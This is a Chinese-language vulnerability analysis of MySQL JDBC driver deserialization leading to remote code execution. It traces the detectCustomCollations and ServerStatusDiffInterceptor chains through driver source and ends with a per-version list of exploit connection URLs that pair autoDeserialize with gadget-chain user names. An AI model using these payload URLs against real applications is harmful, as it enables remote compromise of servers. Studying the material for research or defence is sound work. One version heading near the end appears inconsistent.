JDBC反序列化
JDBC反序列化
认识JDBC
JDBC(Java DataBase Connectivity)是一种用于执行Sql语句的Java Api,即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,可以为多种关系数据库提供统一访问,提供了诸如查询和更新数据库中数据的方法,是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现。
Mysql JDBC 中包含一个危险的扩展参数: “autoDeserialize”。这个参数配置为 true 时,JDBC 客户端将会自动反序列化服务端返回的数据,造成RCE漏洞。
漏洞原理
若攻击者能控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject(),构造反序列化利用链从而造成RCE。
通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。
可被利用的两条查询语句:
- SHOW SESSION STATUS
- SHOW COLLATION
环境搭建
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>x.x.x</version> <!-- 使用适当的版本号 -->
</dependency>
因为漏洞利用需要使用伪装mysql服务,这里使用的是https://github.com/4ra1n/mysql-fake-server
简单的测试代码:
String Driver = "com.mysql.cj.jdbc.Driver";//低版本是com.mysql.jdbc.Driver
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL, "xxx", "test");
conn.close();
detectCustomCollations链
5.1.19-5.1.28
从连接数据库的地方DriverManager.getConnection(url)进行调试分析
首先跟进getConnection,来到DriverManager.getConnection

这里获取到com.mysql.jdbc.Driver这个驱动,然后调用了connect(url, info),跟进

来到这里,首先看看是不是以jdbc:mysql:loadbalance://或者jdbc:mysql:replication://开头,我们传入的是jdbc:mysql://不会进入判断里。继续往下

这里从这个url中解析出host,port,database等属性,然后调用了这个ConnectionImpl.getInstance使用解析后的连接属性来创建一个新的MySQL数据库连接,跟进
protected static Connection getInstance(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
return (Connection)(!Util.isJdbc4() ? new ConnectionImpl(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url) : (Connection)Util.handleNewInstance(JDBC_4_CONNECTION_CTOR, new Object[]{hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url}, (ExceptionInterceptor)null));
}
首先通过调用Util.isJdbc4()方法判断当前是否为jdbc4版本。isJdbc4()方法用于检查是否支持JDBC 4.0规范
如果不是jdbc4版本,则通过调用new ConnectionImpl(...)创建一个新的ConnectionImpl对象,这个对象是一个实现了Connection接口的类,用于建立实际的数据库连接。ConnectionImpl类的构造方法接收相同的参数,并用于初始化连接实例
如果是jdbc4版本,则通过调用Util.handleNewInstance(...)方法创建一个新的Connection对象。这个方法用于通过反射调用指定构造方法创建实例。其中JDBC_4_CONNECTION_CTOR表示jdbc4版本的Connection类的构造方法,参数列表与上述相同。这样可以兼容不同版本的JDBC驱动程序
这里是符合JDBC4.0规范的,所以进入的是Util.handleNewInstance

进入这里后,直接实例化了JDBC4Connection对象,参数就是从url中解析出来的参数还有属性
往下来到构造函数:
public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
super(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
}
这里使用了继承的类ConnectionImpl的构造函数,这个构造函数会将所有的参数,属性赋值到this

往下会调用createNewIO()

跟进

这里调用了connectOneTryOnly进行连接尝试
跟进

跟进initializePropsFromServer()

在这会调用buildCollationMapping(),跟进
在这里能看到,sql连接时会执行两个sql语句,一个是SHOW COLLATION

先判断jdbc版本是否大于5.0.0 ,然后将执行结果作为resultSetToMap参数
第二个是SHOW CHARACTER SET

这里会将部分结果保存到hashmap对象里
第二个不是重点,所有跟进第一个处理结果的resultSetToMap()
public static void resultSetToMap(Map mappedValues, ResultSet rs, int key, int value) throws SQLException {
while(rs.next()) {
mappedValues.put(rs.getObject(key), rs.getObject(value));
}
}
这里调用了getObject()
跟进

这里很明显的看到了反序列化的操作,其中反序列化的字符串来自于刚刚执行的SHOW COLLATION的结果的第3或者第2列的值
如果我们能够控制这个值,就会造成反序列化漏洞
但是这这之前,会有两个判断,一个是判断
if (!this.connection.getAutoDeserialize()) {
return data;
这里是获取了连接属性AutoDeserialize的值,如果为false,则直接返回结果,如果为true则往下,所以要在url中添加参数autoDeserialize=true
第二个判断是判断是不上反序列化数据,即判断数据前两位
if (data != null && data.length >= 2) {
if (data[0] != -84 || data[1] != -19) {
return this.getString(columnIndex);
}
所以利用的时候需要根据连接的数据包伪装mysql服务器,接收到请求时,返回恶意数据(序列化数据),再控制url,添加参数autoDeserialize=true即可反序列化
这里使用https://github.com/4ra1n/mysql-fake-server 进行利用这个漏洞,假设服务器存在CB链,而且url可控


运行结果

5.1.29-5.1.48
在com.mysql.jdbc.ConnectionImpl#buildCollationMapping()方法中,5.1.28版本的如下:

而5.1.48版本的如下,发现触发漏洞点的条件多了一个this.getDetectCustomCollations()

跟进getDetectCustomCollations()查看
public boolean getDetectCustomCollations() {
return this.detectCustomCollations.getValueAsBoolean();
}
这个是获取url参数detectCustomCollations的值,默认为false,需要修改为true
jdbc:mysql://127.0.0.1:3308/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc
这里存在一个问题

获取结果的时候会将结果转换成Number类型,然后就报错了
6.0.2-6.0.6
在com.mysql.cj.jdbc.ConnectionImpl#buildCollationMapping()这几个版本中payload和上面的是一样的,只是它获取detectCustomCollations的操作不太一样

这里没有进行类型转换,可以正常利用

ServerStatusDiffInterceptor链
5.1.0-5.1.10
在detectCustomCollations链中可以知道,导致反序列化的是resultSetToMap方法处理SQL执行结果进而调用getObject()然后进入反序列化
如果不走detectCustomCollations这条链,是否还能找到另外的利用链?
寻找调用resultSetToMap的地方,发现com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues存在类似的代码

而这个方法在preProcess方法中调用
public ResultSetInternalMethods preProcess(String sql, Statement interceptedStatement, Connection connection) throws SQLException {
if (connection.versionMeetsMinimum(5, 0, 2)) {
this.populateMapWithSessionStatusValues(connection, this.preExecuteValues);
}
return null;
}
如何调用这个preProcess方法呢?
ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设置属性queryInterceptors(8.0以下为statementInterceptors)为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法
测试代码:
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String Driver = "com.mysql.jdbc.Driver";
// String Driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&user=deser_CB_calc";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作,返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();
conn.close();
}
在ps.executeQuery()调试跟进
在com.mysql.jdbc.MysqlIO中invokeStatementInterceptorsPre方法发现了preProcess调用

这个interceptor对象是来自this.statementInterceptors 数组

这个statementInterceptors是在com.mysql.jdbc.ConnectionImpl中赋值,可以看出来,这个statementInterceptors可以在url设置,因为这个this.props是url解析出来的各个参数数组
所以payload:添加指定拦截器statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String Driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
ResultSet resultSet = ps.executeQuery();
conn.close();
}
5.1.11-5.x.xx
这个版本的payload和上面的是一样的,只是在main函数中触发的地方不一样,上面的触发是在ps.executeQuery()执行时,触发拦截器,而这几个版本中触发的是在DriverManager.getConnection(DB_URL),调用链如下:
getObjectDeserializingIfNeeded:4570, ResultSetImpl (com.mysql.jdbc)
getObject:4537, ResultSetImpl (com.mysql.jdbc)
resultSetToMap:467, Util (com.mysql.jdbc)
populateMapWithSessionStatusValues:69, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPre:2865, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2586, MysqlIO (com.mysql.jdbc)
execSQL:2491, ConnectionImpl (com.mysql.jdbc)
execSQL:2449, ConnectionImpl (com.mysql.jdbc)
executeQuery:1381, StatementImpl (com.mysql.jdbc)
loadServerVariables:3805, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3230, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2243, ConnectionImpl (com.mysql.jdbc)
createNewIO:2025, ConnectionImpl (com.mysql.jdbc)
<init>:778, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:425, Util (com.mysql.jdbc)
getInstance:386, ConnectionImpl (com.mysql.jdbc)
connect:330, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:13, Main (org.example)
6.x
这个6.x版本中的payload和上面的payload是一样的,仅因更改jdbc包,由com.mysql.jdbc改为com.mysql.cj.jdbc。
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String Driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL);
conn.close();
}
8.0.7-8.0.20
这个版本中,指定拦截器的参数名换了,变成了queryInterceptors

所以payload修改为:
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String Driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL);
conn.close();
}
8.0.20以下
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues不再调用resultSetToMap()即getObject()。此利用链失效
Payload汇总
detectCustomCollations链:
- 5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.29-5.1.48:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.49:不可用
- 6.0.2-6.0.6:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 8.x.x :不可用
ServerStatusDiffInterceptor链:
- 5.1.0-5.1.10:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc 连接后需执行查询
- 5.1.11-5.x.xx:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- 6.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc (包名中添加cj)
- 8.0.20以下:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc










